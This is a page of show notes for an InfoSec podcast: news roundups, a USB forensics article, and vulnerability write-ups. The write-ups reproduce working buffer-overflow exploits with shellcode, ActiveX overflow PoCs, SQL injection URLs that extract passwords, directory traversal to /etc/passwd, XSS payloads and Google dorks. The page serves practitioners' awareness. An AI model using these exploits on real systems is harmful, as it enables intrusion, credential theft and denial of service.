Network Solutions is one of the top five Internet domain name registrars, managing around 6.5 million domains as of January 2009. Apart from its successful domain registration business, the company also offers other services such as Web hosting, ecommerce or online marketing solutions.

News item 2: http://news.bbc.co.uk/2/hi/technology/8470735.stm

Manchester United Football Club has posted a message on its website explaining that its players do not belong to online social networks. It advises users to treat any profiles in the names of its players with “extreme scepticism”.  The club says this is because of the high numbers of people impersonating team members online.  There are many accounts across social network sites which claim to be in the name of high profile footballers.
News item 3: http://www.symantec.com/about/news/release/article.jsp?prid=20100120_02
Comcast is partnering with Symantec to offer residential and business high-speed Internet subscribers at no-cost Norton Security Suite.  The suite includes PC security that protects against viruses, spyware, worms, Trojans, malicious bots, identity theft, as well as a range of customizable parental controls, which help keep children safe online and fosters communication between parents and kids. Comcast subscribers with Macintosh systems will receive Norton Internet Security for Mac.

News item 4: http://support.apple.com/kb/HT4004
Apple has released six patches for Mac OS X and Mac OS X Server, including one for a zero-day flaw that could allow a hacker to hijack a web-browsing session.  The zero-day vulnerability, which was made public in November 2009, lies in an authentication gap in TLS (Transport Layer Security) and SSL (Secure Sockets Layer) encryption protocols, Apple said in an advisory on Tuesday.

News item 5: http://www.boston.com/business/technology/articles/2010/01/20/chinas_baidu_sues_us_company_over_hacking/
China’s most popular search engine, Baidu Inc., is accusing its U.S.-based domain name registry of negligence in a lawsuit over a hacking attack that temporarily blocked access to the site last week.

Baidu said Wednesday it has filed suit against Register.com Inc. in a New York court, seeking unspecified damages. Hackers blocked access to Baidu on Jan. 12 by steering traffic to a Web site where a group reportedly calling itself the “Iranian Cyber Army” claimed responsibility. There was no evidence the hackers were linked to Iran.
News item 6: http://www.imperva.com/docs/WP_Consumer_Password_Worst_Practices.pdf
What’s the most common password among the 32 million people who’s accounts were hacked at RockYou late last year? According to a study by Imperva, it’s “123456,” followed by “12345,” “123456789″ and “Password,” in that order. “iloveyou” came in at no. 5.   The really depressing thing is that users tend to use the same passwords on all or most of their work and personal accounts. If you want your password to be the stunningly simple “123456″ on RockYou and other social sites, that’s fine. Just don’t use that same password for gmail, your bank and your work accounts.

News item 7: http://nmap.org/download.html
Nmap 5.20 offers more than 150 significant improvements:

  • 30+ new Nmap Scripting Engine scripts
  • Enhanced performance and reduced memory consumption
  • Protocol-specific payloads for more effectie UDP scanning
  • Massive OS and version detection DB updates (10,000+ signatures).

Nmap’s traceroute has been rewritten for better performance. Probes are sent in parallel to individual hosts, not just across all hosts as before. Trace consolidation is more sophisticated, allowing common traces to be identified sooner and fewer probes to be sent.

News item 8: http://www.theregister.co.uk/2010/01/22/tor_security_update/

Users of the Tor anonymiser network have been urged to upgrade their software, following the discovery of a security breach.  Two of seven directory authorities and a metrics data server were compromised in a hack discovered earlier this month, Tor developer Roger Dingledine explains. The three servers were taken offline and refurbished following the hack.  Fresh identity keys for the two directory authorities hit by the hack were created during the refurbishment process. Users should therefore update to either Tor version 0.2.1.22 or 0.2.2.7-alpha, so that they can use the refurbished servers as conduits for sensitive traffic.
News item 9:http://www.theregister.co.uk/2010/01/22/aurora_exploit_known_months/

Microsoft first knew of the bug used in the infamous Operation Aurora IE exploits as long ago as August, four months before the vulnerability was used in exploits against Google and other hi-tech firms in December, it has emerged. Redmond’s security gnomes finally got around to patching the exploit on Thursday. Microsoft’s advisory accompanying its cumulative update for IE credited Meron Sellem of Israeli firm BugSec for reporting the HTML Object Memory Corruption Vulnerability (CVE-2010-0249), the zero-day vulnerability used in the now infamous attacks.

News item 10: http://ligattsecurity.com/index.php?option=com_content&view=article&id=2261:lsi-offers-boobytrap-a-service-that-detects-who-installed-spyware-on-a-persons-computer&catid=434:ligatt-press-releases

Episode 51 – USB Tomfoolery

Play

InfoSec Podcast Episode 51 for January 21, 2010. This podcast is our contribution back to the community where we will discuss the vulnerabilities of interest, information security related news hopefully providing you a few laughs and a little knowledge.

Announcements:
Community SANS Atlanta 2010 Spring Schedule has been posted.

SEC-606: Drive and Data Recovery Forensics    2/9/10 to 2/13/10
SEC-502: Perimeter Protection In-Depth    2/22/10 to 2/27/10
AUD-507: Auditing Networks, Perimeters, and Systems    3/15/10 to 3/20/10
MGT-512: SANS Security Leadership Essentials For Managers with Knowledge Compression    4/15/10 to 4/21/10
SEC-566: 20 Critical Security Controls – In Depth    5/17/10 to 5/21/10

Go online to register by going to the SANS website or call (301) 654-SANS(7267).

SANS 2010 Orlando, Fl. March 6 – 15, 2010 (http://www.sans.org/sans-2010/)

Vulnerabilities of Interest:

  1. Microsoft Windows is subject to a 17-year old local privilege-escalation vulnerability in the #GP trap handler. An attacker can exploit this issue to execute arbitrary code with kernel-level privileges. Successful exploits will result in the complete compromise of affected computers. Exploit code is available.
  2. Sun Java System Web Server is subject to a buffer-overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied data.  Attackers can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition. Sun Java System Web Server 7.0 Update 7 is affected; other versions may also be vulnerable. Example request is available:
    buf = “PUT / HTTP/1.0\n”
    buf += “Authorization: Digest ”
    buf += “ABCD,”*1000
    buf += “\n\n”
  3. The Expat library is subject to a denial-of-service vulnerability because it fails to properly handle crafted XML data. Exploiting this issue allows remote attackers to cause denial-of-service conditions in the context of an application using the vulnerable XML parsing library. Expat 2.0.1 is vulnerable; other versions may also be affected. Exploit code is available.
  4. AOL is subject to an ActiveX Heap Overflow Vulnerability.  Version 9.5 impacted, though others may be as well. The vulnerability is in Activex Control (“CDDBControl.dll”) sending a long string to BindToFile() , triggering the vulnerability. Successful exploits allow remote attackers to execute arbitrary code.  PoC .wsf script:
    <package><job id=’DoneInVBS’ debug=’false’ error=’true’>
    <object classid=’clsid:BC8A96C6-3909-11D5-9001-00C04F4C3B9F’ id=’target’
    />
    <script language=’vbscript’>
    arg1=String(4000, “A”)
    arg2=1
    target.BindToFile arg1 ,arg2
    </script>
    </job>
    </package>
  5. Al3jeb version 1.3 is subject to remote change password vulnerability.  Exploit code is available:
    <html>
    <head>
    <title> al3jeb script Remote Change Password Exploit </title>
    </head>
    <body text=”#00FF00″ bgcolor=”#000000″>
    <form action=http://www.sample.com/al3jeb/Change_Pass.php method=post
    style=”text-align: center”>
    <b>For More </b>
    <p><b>visit us</b></p>
    <p>
    <a href=”http://sec-war.com/cc/index.php”
    style=”text-decoration: none; font-weight: 700″>

    http://sec-war.com/cc/index.php</a></p>

    <p>
    <br>
    User: <input
    id=”adminn” value=”" />
    <br>
    Pass: <input
    id=”adminp” value=”" />
    <br>
    Email <input
    id=”adminm” value=”" />
    <br>
    <input
    value=”Sec-War” /><br>
    <br>
    </p>
    </form>
    </body>
    <html>

  6. MP3 Studio v1.X is subject to a (.m3u File) Local Stack Overflow vulnerability.  Exploit code is available:
    #!/usr/bin/perl

    # Exploit Title: MP3 Studio v1.X (.m3u File) Local Stack Overflow
    # Date: 19.01.2010 – 01/19/2010
    # Author: NeoCortex
    # Software Link:

    http://www.freewarezoom.com/archives/millennium-mp3-studio

    # Version: 1.X
    # Tested on: Windows XP SP3 (de-de)

    # Original exploit found by HACK4LOVE
    # http://www.milw0rm.com/exploits/9277
    #
    # He wasn’t able to exploit it, so i did it.
    # Nice training on seh exploits.
    # Good luck finding some buddy using that media player
    #
    # Greetz to:
    # _-Sid-_ – Jess – >Roadkill< – Dawn – MouZe* – Linki
    #
    # 19.01.2010 by NeoCortex

    my $noa = “http://”.”x41″ x 4103; # junk
    my $jmp = “xebx1bx90x90″; # 00125D64 EB 1B JMP SHORT 00125D81
    my $seh = “x25x12xc8x72″; # 00125D68 72C81225 SE handler
    my $nob = “x42″ x 22; # cosmetic…

    my $payload =
    # payload taken from http://www.metasploit.com
    # windows/exec cmd=calc.exe
    “xebx03x59xebx05xe8xf8xffxffxffx49x49x49x49x49x49″.
    “x49x49x49x49x49x49x49x49x49x49x49x51x48x5ax6ax47″.
    “x58x30x42x31x50x42x41x6bx42x41x57x42x32x42x41x32″.
    “x41x41x30x41x41x58x50x38x42x42x75x78x69x6bx4cx6a”.
    “x48x53x74x67x70x67x70x75x50x4ex6bx53x75x65x6cx6e”.
    “x6bx51x6cx46x65x70x78x43x31x68x6fx4ex6bx30x4fx54″.
    “x58x6ex6bx73x6fx57x50x67x71x58x6bx77x39x4cx4bx64″.
    “x74x6cx4bx57x71x5ax4ex76x51x49x50x6ex79x6ex4cx4f”.
    “x74x4bx70x70x74x37x77x69x51x48x4ax64x4dx43x31x4f”.
    “x32x7ax4bx48x74x55x6bx72x74x34x64x77x74x70x75x4d”.
    “x35x6cx4bx71x4fx75x74x36x61x48x6bx41x76x4cx4bx44″.
    “x4cx70x4bx4ex6bx63x6fx55x4cx33x31x68x6bx4ex6bx35″.
    “x4cx4ex6bx34x41x6ax4bx6cx49x33x6cx35x74x64x44x4a”.
    “x63x34x71x4bx70x63x54x6ex6bx71x50x76x50x4fx75x4b”.
    “x70x72x58x74x4cx4cx4bx77x30x76x6cx4cx4bx44x30x57″.
    “x6cx6cx6dx6ex6bx75x38x54x48x58x6bx73x39x6ex6bx4b”.
    “x30x4ex50x37x70x67x70x37x70x6cx4bx62x48x45x6cx63″.
    “x6fx35x61x39x66x35x30x50x56x4dx59x48x78x6ex63x59″.
    “x50x43x4bx66x30x43x58x68x70x6fx7ax43x34x33x6fx73″.
    “x58x4fx68x6bx4ex6dx5ax46x6ex72x77x6bx4fx78x67x63″.
    “x53x62x41x30x6cx55x33x64x6ex42x45x70x78x32x45x33″.
    “x30x47″;

    open(myfile,’>> Neo_Crash.m3u’);
    print myfile $noa.$jmp.$seh.$nob.$payload;

  7. Microsoft Windows 7 Defender is subject to an Active-X heap overflow vulnerability.  Exploit code is available:
    #Aouther : [SarBoT511]
    #Exploits title :[Microsoft Windows Defender ActiveX Heap Overflow PoC]
    #downloads :[www.microsoft.com]
    #Date : [2010/01/19]
    #tested on :[windows 7]
    #Microsoft Windows Defender

    <html>
    <object classid=’clsid:07DD3249-A591-4949-8F20-09CD347C69DC’ id=’target’
    ></object>
    <script language=’vbscript’>
    targetFile = “C:Program FilesWindows DefenderMsMpCom.dll”
    prototype = “Sub WriteValue ( ByVal bstrKeyName As String , ByVal
    bstrValueName As String , ByVal eType As _MP_COM_CONFIG_TYPE , ByVal
    varValue As Variant )”
    memberName = “WriteValue”
    progid = “MpComExportsLib.MsMpSimpleConfig”
    argCount = 4

    arg1=String(6164, “A”)
    arg2=”defaultV”
    arg3=1
    arg4=”defaultV”

    target.WriteValue arg1 ,arg2 ,arg3 ,arg4
    </script>


News Items of Interest:

News item 1: http://www.darkreading.com/vulnerability_management/security/privacy/showArticle.jhtml?articleID=222301034&cid=RSSfeed

Microsoft released a patch today for the Internet Explorer CVE-2010-0249 Remote Code Execution Vulnerability.

News item 2: http://staging.arbornetworks.com/dmdocuments/ISR2009_EN.pdf

Arbor has released their 2009 Worldwide Infrastructure Security Report and it is an interesting read. The largest DDoS increased nearly 5-fold from 2004 to 2008 (and doubled from 2006 to 2008) to 49Gbps. At that size, we would definitely need the assistance of our upstream service provider to mitigate. The report also shows the continuing trend of not reporting/referring attacks to law enforcement.
News item 3: http://www.nvdaily.com/news/2010/01/hacker-redirects-traffic-from-library.php
A hacker redirected visitors to the Shenandoah County Library’s Web site Tuesday morning to advertising sites mostly geared toward the erectile dysfunction drug Cialis.

News item 4: http://www.infoworld.com/d/networking/skype-video-goes-multipoint-vivu-plug-in-696?source=rss_infoworld_news

Startup ViVu has released a software plug-in for Skype that allows the popular Internet calling service to be used for multipoint videoconferencing.

Skype can already be used to make voice calls between more than two parties, but the lack of multipoint video has been seen by some as its biggest shortcoming. The company said recently that one third of all Skype-to-Skype calls now include video.

Technical Segment: http://www.irongeek.com/i.php?page=security/tracking-users-malware-and-data-leaks-via-the-usb-serial-numbers-on-flash-drives-smart-phones-and-mp3-players

Tracking users, malware and data leaks via the USB serial numbers on flash drives, smart phones and MP3 players
I don’t write on the forensics side of security much, but I thought this was an interesting topic that I’d not seen covered much before. While I was doing my research on USB hardware key loggers I learned quite a bit about USB devices that I did not know before. Besides Vendor IDs and Product IDs, some devices also have a serial number associated with them. The “Serial Number Descriptor” string is optional, but a fair number of devices such as thumb drives, removable USB hard drives, PDAs and cell phones have them. This started me thinking: How could this data be used in a security or forensics context? I can think of a few scenarios off the top of my head:

Ω       A USB flash drive is found with contraband on it, but none of the suspects claim to own it. If the serial number of the USB flash drive is found in one of suspects’ Windows registry this is possible evidence as to who it belongs to.

Ω       Malware has been spreading though your network, and you think thumb drives are the vector. Using the serial number you could search the network for computers where a known infected drive was used to give you an idea as to which workstations you will have to do clean up on. It may also lead you to know who brought the malware into the network (Patient Zero), or who been the biggest Typhoid Mary.

Ω        You suspect some data has been stolen from a department server, and you found a suspicious MP3 player’s serial number in the Windows server’s registry. MP3 players can be used as generic storage devices. By searching the network for other boxes where that same MP3 player has been plugged-in you may find that the only other box it’s ever been use on is Bob’s. This makes Bob a likely suspect.

I’m guessing you could come up with other scenarios where tracking a USB device’s serial number could be useful. We can see the potential, but how do we get this data, and how do we automate using it? There are two main spots you can pull this information from on a Windows XP/Vista/7 system:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USB
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR

I cover both of these registry keys in more detail in my article ‘Forensically interesting spots in the Windows 7, Vista and XP file system and registry’ which you can find here:

http://www.irongeek.com/i.php?page=security/windows-forensics-registry-and-file-system-spots

Looking at these registry values directly is kind of cumbersome. A nicer way to look at this data is with NirSoft’s freeware tool USBDeview which you can download from:

http://www.nirsoft.net/utils/usb_devices_view.html

USBDeView gives the user a ton of information about what devices are currently plugged-in, and what ones have been plugged-in before but are not currently present.

Ok, now we know where on a Windows box this information is stored, but is there an automated way to find it and search our network for other locations where the same USB device has been used? Some organizations may have an asset tracking database that would be searchable for this information, but many of us don’t have such a system in place. I was thinking of coding up something for the task, but I’m quite lazy. Then I remembered that most of Nir’s tools have the ability to be used from across the network. Sure enough, USBDeview also had this option, all I had to do to connect to a remote Windows box and look though its registry for USB devices was to issue this simple command:

USBDeview /remote \\SomeComputer

Now keep in mind, I had to be logged in with an account that had access to that machine, and certain services have to be accessible. Nir has a nice blog post on what it takes for his tools to work from across the network:

http://blog.nirsoft.net/2009/10/22/how-to-connect-a-remote-windows-7vistaxp-computer-with-nirsoft-utilities/

That solves the problem of dumping information from one machine, but what about a whole network? Well, it seems USBDview has an option for taking a list of machines from a text file and grabbing the USB device list from all of them. The syntax is pretty simple:

USBDeview /remotefile boxes.txt

where boxes.txt is a list of computer names/IPs in UNC format. For example:

\\192.168.1.13
\\192.168.1.14
\\skynet
\\cthulhu

It takes a bit of time for the results to return, so be patient. Once we get the report, we can sort by the ‘Serial Number’ field, look for repeating serial number by eye, and then scroll over to the ‘Computer Name’ field to see what computers that particular USB device has been used on. For my screen shots I’ve reordered the columns to put the fields I’m most interested in first. The ‘Created Date’ and ‘Last Plug/Unplug Date’ fields are also usefully for figuring out a time line (really handy for finding a malware Patient Zero or Typhoid Mary based on when a user was logged on last). As you can see from the first screen shot, I have two different thumb drives from Patriot Memory that have been plugged into both my Skynet and Cthulhu workstations, but none of the other boxes I scanned:

From the 2nd screen shot you can see that my IronKey and my former roommate’s Android Phone have only ever been plugged into my workstation named Cthulhu:

This sort of information can be erased, but local attackers rarely think of the tracks that their USB devices leave behind. I cover erasing USB track in more detail in the anti-forensics video which I will link to at the end of this article.

Now you may be thinking: sorting and looking though the table for matching USB serial numbers by hand may be fine for when you only have four workstations, but what if you have a lot more? Luckily, Nir implemented the ability to save his tool’s output to many different file formats, including CSV (Comma Separated Values). Pretty much any database tool (MS Access for example) can import a CSV file, and from there you are just a few SQL queries away from finding the devices you are seeking. For example, if I wanted to look though the output for just the serial number 07850DA305FC an SQL query similar to this one may help:

SELECT Myoutput.*
FROM Myoutput WHERE Myoutput.[serial] = ’07850DA305FC’ ;

To dump your findings to a CSV you could take the results from the GUI, select all of the records (Ctrl-A), then choose the save icon and pick CSV from the drop down, but there is an easier way if you just intent to import the results into a database for sorting and searching. You can tell USBDeview to dump the output to a file without ever bringing up the GUI with this simple command:

USBDeview /remotefile boxes.txt /scomma myoutput.csv

With a little automation you could make regular reports. I’m still interested in finding better ways to track this sort of information, so if you know of any good free or open source asset management systems that log USB serial numbers, or are interested in coding something to help automate these types of searches, please let me know.

If you’re interested in just covering your tracks when it comes to USB serial numbers, check out my anti-forensics video:

http://www.irongeek.com/i.php?page=videos/anti-forensics-occult-computing

it’s about three hours and seven minutes long, but covers a lot more than just USB devices. I hope you have enjoyed the article, and feel free to follow me on Twitter @Irongeek_ADC .

Links at a glance:

USBDeview
http://www.nirsoft.net/utils/usb_devices_view.html

What it takes for Nir’s tools to work from across the network
http://blog.nirsoft.net/2009/10/22/how-to-connect-a-remote-windows-7vistaxp-computer-with-nirsoft-utilities/

Forensically interesting spots in the Windows 7, Vista and XP file system and registry
http://www.irongeek.com/i.php?page=security/windows-forensics-registry-and-file-system-spots

Anti-Forensics video
http://www.irongeek.com/i.php?page=videos/anti-forensics-occult-computing

Update: To have the tool work on Windows 7 you will need to enable the Remote Registry Service as it is set to manual by default.

Episode 50 – Scott “My Drive is Hard” Moulton Interview

Play

InfoSec Podcast Episode 50 for January 20, 2010. This podcast is our contribution back to the community where we will discuss the vulnerabilities of interest, information security related news hopefully providing you a few laughs and a little knowledge.

Announcements:
Community SANS Atlanta 2010 Spring Schedule has been posted.

SEC-606: Drive and Data Recovery Forensics    2/9/10 to 2/13/10
SEC-502: Perimeter Protection In-Depth    2/22/10 to 2/27/10
AUD-507: Auditing Networks, Perimeters, and Systems    3/15/10 to 3/20/10
MGT-512: SANS Security Leadership Essentials For Managers with Knowledge Compression    4/15/10 to 4/21/10
SEC-566: 20 Critical Security Controls – In Depth    5/17/10 to 5/21/10

Go online to register by going to the SANS website or call (301) 654-SANS(7267).

SANS 2010 Orlando, Fl. March 6 – 15, 2010 (http://www.sans.org/sans-2010/)

We would like to welcome Scott Moulton for our podcast.  Scott is the president of Forensic Strategy Services, LLC and also owns a data recovery company called MyHardDriveDied.com.  He is well known for his presentations at Shmoocon and Defcon.  His videos can be seen on youtube.com as well as his SANS course that he personally developed.

For more information on SANS SEC606 go here.   Scott’s presentations can be found here and here.

Episode 49 – Dorking Away

Play

InfoSec Podcast Episode 49 for January 19, 2010. This podcast is our contribution back to the community where we will discuss the vulnerabilities of interest, information security related news hopefully providing you a few laughs and a little knowledge.

Sponsors: This podcast is sponsored in part by Webspeedway, your Virtual IT Department.  When your systems are down, as a small and medium-sized businesses the resulting downtime can have a devastating impact.

Webspeedway specializes in providing proactive solutions to mitigate the risks of downtime, data loss, e-mail viruses and the many other threats to your business systems. Webspeedway provides the services of a Fortune 500 IT department, including 24 x 7 monitoring and on-site support, all at a fraction of the cost of even one employee.

Goto www.webspeedway.com today to learn about their cost-effective IT management solutions for your business.

Announcements:
Community SANS Atlanta 2010 Spring Schedule has been posted.

SEC-606: Drive and Data Recovery Forensics    2/9/10 to 2/13/10
SEC-502: Perimeter Protection In-Depth    2/22/10 to 2/27/10
AUD-507: Auditing Networks, Perimeters, and Systems    3/15/10 to 3/20/10
MGT-512: SANS Security Leadership Essentials For Managers with Knowledge Compression    4/15/10 to 4/21/10
SEC-566: 20 Critical Security Controls – In Depth    5/17/10 to 5/21/10

Go online to register by going to the SANS website or call (301) 654-SANS(7267).

SANS 2010 Orlando, Fl. March 6 – 15, 2010 (http://www.sans.org/sans-2010/)

Vulnerabilities of Interest:

  1. VaroCMS Community Voting Web is subject to a cross site scripting and open redirection vulnerability. Version 2.0 is impacted, though others may be vulnerable. Exploit Code is available:
    Cross Site Scripting

    http://www.varocms.com/demo/search?q=[XSS]

    Open Redirection

    http://varocms.com/demo/login?return=[URL]

    http://blog.varocms.com/demo/register?return=[URL]

    http://www.varocms.com/demo/resize/1024?return=[URL]

    http://www.varocms.com/demo/resize/1280?return=[URL]

    http://www.varocms.com/demo/resize/1600?return=[URL]

    http://www.varocms.com/demo/resize/1920?return=[URL]

  2. The Joomla Prime component is subject to a directory traversal vulnerability. Example URL: http://www.sample.com/index.php?option=com_prime&lang=../../../../../../../../../../etc/passwd%00. Google Dork: inurl:”index.php?option=com_prime”
  3. Audiotran is subject to a direct RET buffer overflow exploit. Version 1.4.1 is affected, though others may be vulnerable. Exploit code is available:
    # Exploit Title: Audiotran v1.4.1 direct RET BOF
    # Date: 2010-1-16
    # Author: Jacky
    # Software Link: http://www.e-soft.co.uk/Audiotran.htm
    # Version: 1.4.1
    # Tested on: Windows XP SP2
    # CVE : [if exists]
    # Code :
    #Audiotran v1.4.1 Direct RET local BOF Vulnerability.
    #Exploit Discovered by S&#195;&#169;bastien Duquette (Greetz to him
    :P )
    #Written and coded by Jacky
    #All Greetz to Corelan team !
    #I saw this exploit written in python with SEH method !
    #When i tested it i saw that it could be exploited by a Direct RET Address
    !
    my $file=”Crash.pls”;
    my $junk=”A”x1324;
    my $eip=pack(‘V’,0x77D8AED0); #JMP ESP from USER32.DLL!
    my $presc=”SEXY”;
    my $sc=”x90″x50;
    $sc=$sc.”xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49″.
    “x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36″.
    “x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34″.
    “x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41″.
    “x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4ax4ex46x54″.
    “x42x50x42x50x42x30x4bx38x45x44x4ex43x4bx58x4ex57″.
    “x45x50x4ax37x41x50x4fx4ex4bx38x4fx44x4ax31x4bx38″.
    “x4fx55x42x32x41x30x4bx4ex49x34x4bx58x46x43x4bx58″.
    “x41x50x50x4ex41x53x42x4cx49x49x4ex4ax46x38x42x4c”.
    “x46x47x47x30x41x4cx4cx4cx4dx50x41x30x44x4cx4bx4e”.
    “x46x4fx4bx43x46x55x46x52x46x50x45x47x45x4ex4bx58″.
    “x4fx35x46x42x41x50x4bx4ex48x36x4bx58x4ex30x4bx34″.
    “x4bx48x4fx35x4ex51x41x30x4bx4ex4bx38x4ex31x4bx48″.
    “x41x30x4bx4ex49x38x4ex35x46x32x46x50x43x4cx41x33″.
    “x42x4cx46x36x4bx48x42x54x42x33x45x38x42x4cx4ax57″.
    “x4ex50x4bx48x42x54x4ex30x4bx38x42x57x4ex41x4dx4a”.
    “x4bx48x4ax46x4ax30x4bx4ex49x50x4bx58x42x48x42x4b”.
    “x42x50x42x30x42x30x4bx38x4ax36x4ex53x4fx35x41x43″.
    “x48x4fx42x46x48x55x49x48x4ax4fx43x58x42x4cx4bx57″.
    “x42x35x4ax36x42x4fx4cx58x46x50x4fx55x4ax46x4ax49″.
    “x50x4fx4cx58x50x50x47x35x4fx4fx47x4ex43x46x41x46″.
    “x4ex46x43x36x42x30x5a”;
    open(INI,”>$file”);
    print “[+]Creating Malicious Playlist File!n”;
    print INI $junk.$eip.$presc.$sc;
    print “[+]File Created!n”;
    print “[+]Real Author of the vulnerability is Sebastien
    Duquette!n”
    print “[+]All Rights are reserved to him !n”;
    print “[+]Coded by Jacky!n”;
    close(INI);
  4. phpMySport is subject to a SQL injection and file manager access vulnerability.  Version 1.4 is impacted, while other versions may be vulnerable.  Access to File manager is unprotected and by using dot-dot-slash (/../../), it is possible to view directory structure of the target system.  Google Dork: inurl:”phpmysport/index.php?” Example URLs are available:

    http://www.sample.com/phpmysport/index.php?r=member&v1=view&v2=’+AND+1=2

    +UNION+ALL+SELECT+1,2,3,4,5,concat(member_login,0x3a,member_pass),7,8,9,10,
    11,12,13,14,15,16,17,18,19,20,21,22,23+from+pms_member–+-

    http://www.sample.com/phpmysport/index.php?r=news&v1=’+AND+1=2+UNION+ALL+SEL

    ECT+1,2,3,4,5,6,concat(member_login,0x3a,member_pass),8,9,10,11,12,13,14,15
    ,16,17+from+pms_member–+-

    http://www.sample.com/phpmysport/index.php?r=information&v1=’+AND+1=2+UNION+

    ALL+SELECT+1,2,3,4,5,6,7,concat(member_login,0x3a,member_pass),9,10,11,12,1
    3,14,15,16,17,18,19+from+pms_member–+-

    http://www.sample.com/phpmysport/index.php?r=team&v1=view&v2=’+AND+1=2+U

    NION+ALL+SELECT+1,2,3,4,concat(member_login,0x3a,member_pass),6,7,8+from+pm
    s_member–+-

    http://www.sample.com/phpmysport/index.php?r=club&v1=view&v2=’+AND+1=2+U

    NION+ALL+SELECT+1,2,3,concat(member_login,0x3a,member_pass),5,6,7,8,9,10,11
    ,12,13,14+from+pms_member–+-

    http://www.sample.com/phpmysport/index.php?r=matches&v1=view&v2=’+AND+1=

    2+UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,concat(memb
    er_login,0x3a,member_pass),20,21,22,23,24,25,26,27,28+from+pms_member–+-

    Access to File manager:

    http://www.sample.com/phpmysport/index.php?r=file&v1=file_manager&curren

    t_folder=/../../../&fen=pop

  5. Gallerie Hitmaaan is subject to a cross site scripting vulnerability.  Version 1.3 is impacted, while other versions may be vulnerable. Example URLs:
    http://www.sample.com/1367_hitmaaan-13/?gall=fonds&levela=>”><ScRiPt%20%0a%0d>alert(213771818860)%3B</ScRiPt>

    http://www.sample.com/1367_hitmaaan-13/?gall=<img+src=http://www.sample.com/Utilisateur.gif+onload=alert(213771818860)>levela=email@email.com&num_page=1

  6. Thelia is subject to a cross site scripting vulnerability.  Version 1.4.2.1 is impacted, while other versions may be vulnerable. Example URLs: http://www.sample.com/panier.php?action=ajouter&ref=[XSS]
    http://www.sample.com/panier.php?action=ajouter&ref=”>
  7. MediaMonkey Player is subject to a Denial of Service vulnerability.  Version 3.2.0 is impacted, while other verisons may be vulnerable. Exploit code:
    # Exploit Title: MediaMonkey Player Local Denial of Service (DoS)
    # Download :

    http://download.cnet.com/MediaMonkey-Standard/3000-2141_4-10109807.html

    # Date: 16/01/2010
    # Author: Red-D3v1L
    ## sh0otz fly t0 : j0rd4n14n.r1z,H1s0k4,ThE-g0bl!N,T3rr0rist,zAx,dr@g,h311
    c0d3 And All sEc-r1z CrEw#
    # n00bz : Zombie_KSA g0t 0wn3d hehehe n00b pakbugs zf0 …
    # Version: 3.2.0
    # my Home : www.sec-r1z.com , sEc-r1z CrEw#
    #!/usr/bin/perl
    system (“color a”);
    print “./SEC-R1Z_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
    _n”;
    print ” / / _ _ \ / __ _ / _ _ /\ < |/_ _ _ _
    /n”;
    print ” \ \ _ _\__ / /_ _ / / __ | () / | | /
    /n”;
    print ” \ __ _ \ / /_ _ / / |__| | / | | / /n”;
    print ” _ _ _ _ \/ / /2_0_1_0 | \ | | / /_____
    n”;
    print ” /_ _ _ _ / _ _ _ / _ _ _ / |__| __ |__| /___\/J0_
    _____./str1k3z y0u!!n”;
    ###################################
    my $r1z= “b00m.mp3″;
    my $boom=”x41″ x 5000;
    open(myfile,’>>b00m.mp3′);
    print myfile $boom;
    print “[+] d0nEn”;


News Items of Interest:

News item 1::http://www.securitypark.co.uk/security_article264196.html

According to a Check Point global customer survey of businesses on endpoint security trends, the number of remote workers continues to grow and businesses need to expand their IT measures to safeguard the increasing mobile workforce.

Over 40% of businesses in the last year have more remote users connecting to the corporate network from home or when travelling, compared to 2008. Check Point discovered the clear majority (77%) of businesses have up to a quarter of their total workforce consisting of regular remote users.

News item 2: http://www.pcadvisor.co.uk/news/index.cfm?RSS&NewsID=3210284

According to Akamai Technologies, variants of the Conficker worm were still active and spreading during the third quarter, accounting for much of attack traffic on the internet.  Although mainstream and industry media coverage of the Conficker worm and its variants has dropped significantly since peaking in the second quarter, it is clear from this data that the worm (and its variants) is apparently still quite active, searching out new systems to infect.

During the third quarter, 78 percent of internet attacks observed by Akamai targeted port 445, up from 68 percent during the previous quarter. Port 445, which is used by Microsoft Directory Services, is the same port that Conficker targets, aiming to exploit a buffer overflow vulnerability in Windows and infect the targeted computer.

Most attacks originated from Russia and Brazil.

News item 3: http://www.theregister.co.uk/2010/01/18/jc_defaced/

The Jewish Chronicle website was defaced over the weekend by hackers calling themselves the “Palestinian Mujaheeds” who posted a rant against Israel’s blockade of the Gaza Strip. Hackers posted an image of the Palestinian flag alongside diatribes against Israeli security policy in both English and Turkish. The hacked front page of the site (www.thejc.com) also attempted to play an MP3 file, net security firm Sophos reports.

News item 4:http://www.thetechherald.com/article.php/201002/5090/SCNB-hit-by-breach—over-8-000-clear-text-credentials-stolen

An internal audit by Suffolk County National Bank (SCNB) discovered that over 8,000 customer online banking credentials were snatched from a server where they resided in plain text. Suffolk Bancorp said that the 8,378 records accounted for less than ten percent of their customer base at SCNB, but failed to explain the reasoning for leaving such information on a server in the clear.

News item 5: http://www.symantec.com/connect/blogs/drop-cn-spam

Symantec recently reported that the volume of URL spam from domains registered in China has decreased from ~40% of overall spam in December to ~20%. The drop is likely due to the recent enhancement in domain registration procedures introduced by China’s Internet Network Information Center (CNNIC). Chinese .CN domains are mostly exploited by Canadian Pharmacy spammers to host online pharmaceutical spam sites.

News item 6: http://www.sleuthkit.org/autopsy/download.php and http://www.sleuthkit.org/sleuthkit/history.php

Autopsy 2.22 and Sleuthkit 3.1.0 updates have been released.

News item 7: http://www.webpronews.com/topnews/2010/01/18/baidu-ctos-resignation-announced

It appears that not all is well (or at least normal) at Baidu. Last week, the company’s COO abruptly resigned, and today, its CTO followed suit. Both men cited “personal reasons” for their departures, and Baidu’s made little other information available.

Either exit might have been considered unremarkable on its own. The COO, Peng Ye, left before Google made its big statement about China, and also before hackers attacked Baidu, so “personal reasons” sounded like a semi-plausible explanation.

